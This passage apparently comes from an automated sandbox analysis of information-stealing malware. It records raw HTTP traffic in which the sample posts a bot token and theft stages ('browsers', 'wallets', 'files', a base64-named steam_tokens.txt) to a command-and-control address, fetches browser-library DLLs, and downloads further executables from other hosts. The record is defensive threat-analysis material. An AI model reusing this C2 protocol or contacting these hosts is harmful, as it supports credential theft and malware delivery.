2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 41 46 49 49 4a 4b 4a 45 47 49 44 47 44 47 49 49 44 48 2d 2d 0d 0a Data Ascii: ------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------FBAFIIJKJEGIDGDGIIDHContent-Disposition: form-data; name="message"browsers------FBAFIIJKJEGIDGDGIIDH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIJJJEGDBFHDHJJDBAKHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="message"plugins------GHIJJJEGDBFHDHJJDBAK--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFHDBAAECAAKFHDHIIHost: 85.28.47.4Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 49 2d 2d 0d 0a Data Ascii: ------IECFHDBAAECAAKFHDHIIContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------IECFHDBAAECAAKFHDHIIContent-Disposition: form-data; name="message"fplugins------IECFHDBAAECAAKFHDHII--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFHHost: 85.28.47.4Content-Length: 8203Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/sqlite3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKHost: 85.28.47.4Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKFHJEBAAEBGDGDBFBHost: 85.28.47.4Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBAHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="file"------DHIDHIEGIIIECAKEBFBA--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFCFBKKKFHCFHJKFIIEHHost: 85.28.47.4Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 46 42 4b 4b 4b 46 48 43 46 48 4a 4b 46 49 49 45 48 2d 2d 0d 0a Data Ascii: ------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------BFCFBKKKFHCFHJKFIIEHContent-Disposition: form-data; name="file"------BFCFBKKKFHCFHJKFIIEH--
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/freebl3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/mozglue.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/msvcp140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/nss3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/softokn3.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1Host: 85.28.47.4Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDBHost: 85.28.47.4Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFIEHIEGDHIDGDGHDHHost: 85.28.47.4Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 2d 2d 0d 0a Data Ascii: ------JDAFIEHIEGDHIDGDGHDHContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------JDAFIEHIEGDHIDGDGHDHContent-Disposition: form-data; name="message"wallets------JDAFIEHIEGDHIDGDGHDH--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBGHost: 85.28.47.4Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 2d 2d 0d 0a Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="message"files------GIDBKKKKKFBGDGDHIDBG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJDAEGIDHCBFHJJJEGHost: 85.28.47.4Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 44 41 45 47 49 44 48 43 42 46 48 4a 4a 4a 45 47 2d 2d 0d 0a Data Ascii: ------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HJJJDAEGIDHCBFHJJJEGContent-Disposition: form-data; name="file"------HJJJDAEGIDHCBFHJJJEG--
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDBGDGCGDAKFIDGIDBFHost: 85.28.47.4Content-Length: 270Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 39 61 33 63 31 31 30 31 63 36 39 66 66 35 33 37 32 37 31 31 33 37 63 39 30 38 61 66 39 35 66 37 35 65 37 32 66 63 37 65 36 62 64 66 62 62 39 32 33 65 32 65 39 62 30 65 37 38 61 36 64 30 33 64 36 64 33 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 42 47 44 47 43 47 44 41 4b 46 49 44 47 49 44 42 46 2d 2d 0d 0a Data Ascii: ------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="token"9b9a3c1101c69ff537271137c908af95f75e72fc7e6bdfbb923e2e9b0e78a6d03d6d34d4------IJDBGDGCGDAKFIDGIDBFContent-Disposition: form-data; name="message"jbdtaijovg------IJDBGDGCGDAKFIDGIDBF--
Source: global traffic	HTTP traffic detected: GET /mine/amadka.exe HTTP/1.1Host: 77.91.77.81Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /stealc/random.exe HTTP/1.1Host: 77.91.77.81
Source: global traffic	HTTP traffic detected: POST /920475a59bac849d.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFHIDGIJKJKECBGDBGHost: 85.28.47.4Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 38 44 42 41 44 33 43 33 30 34 33 33 34 33 30 33 37 33 35 33 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6a 6f 6e 79 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 2d 2d 0d 0a Data Ascii: ------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="hwid"E8DBAD3C30433430373531------HDAFHIDGIJKJKECBGDBGContent-Disposition: form-data; name="build"jony------HDAFHIDGIJKJKECBGDBG--
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000006001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Hun4Ko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 77.91.77.82Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
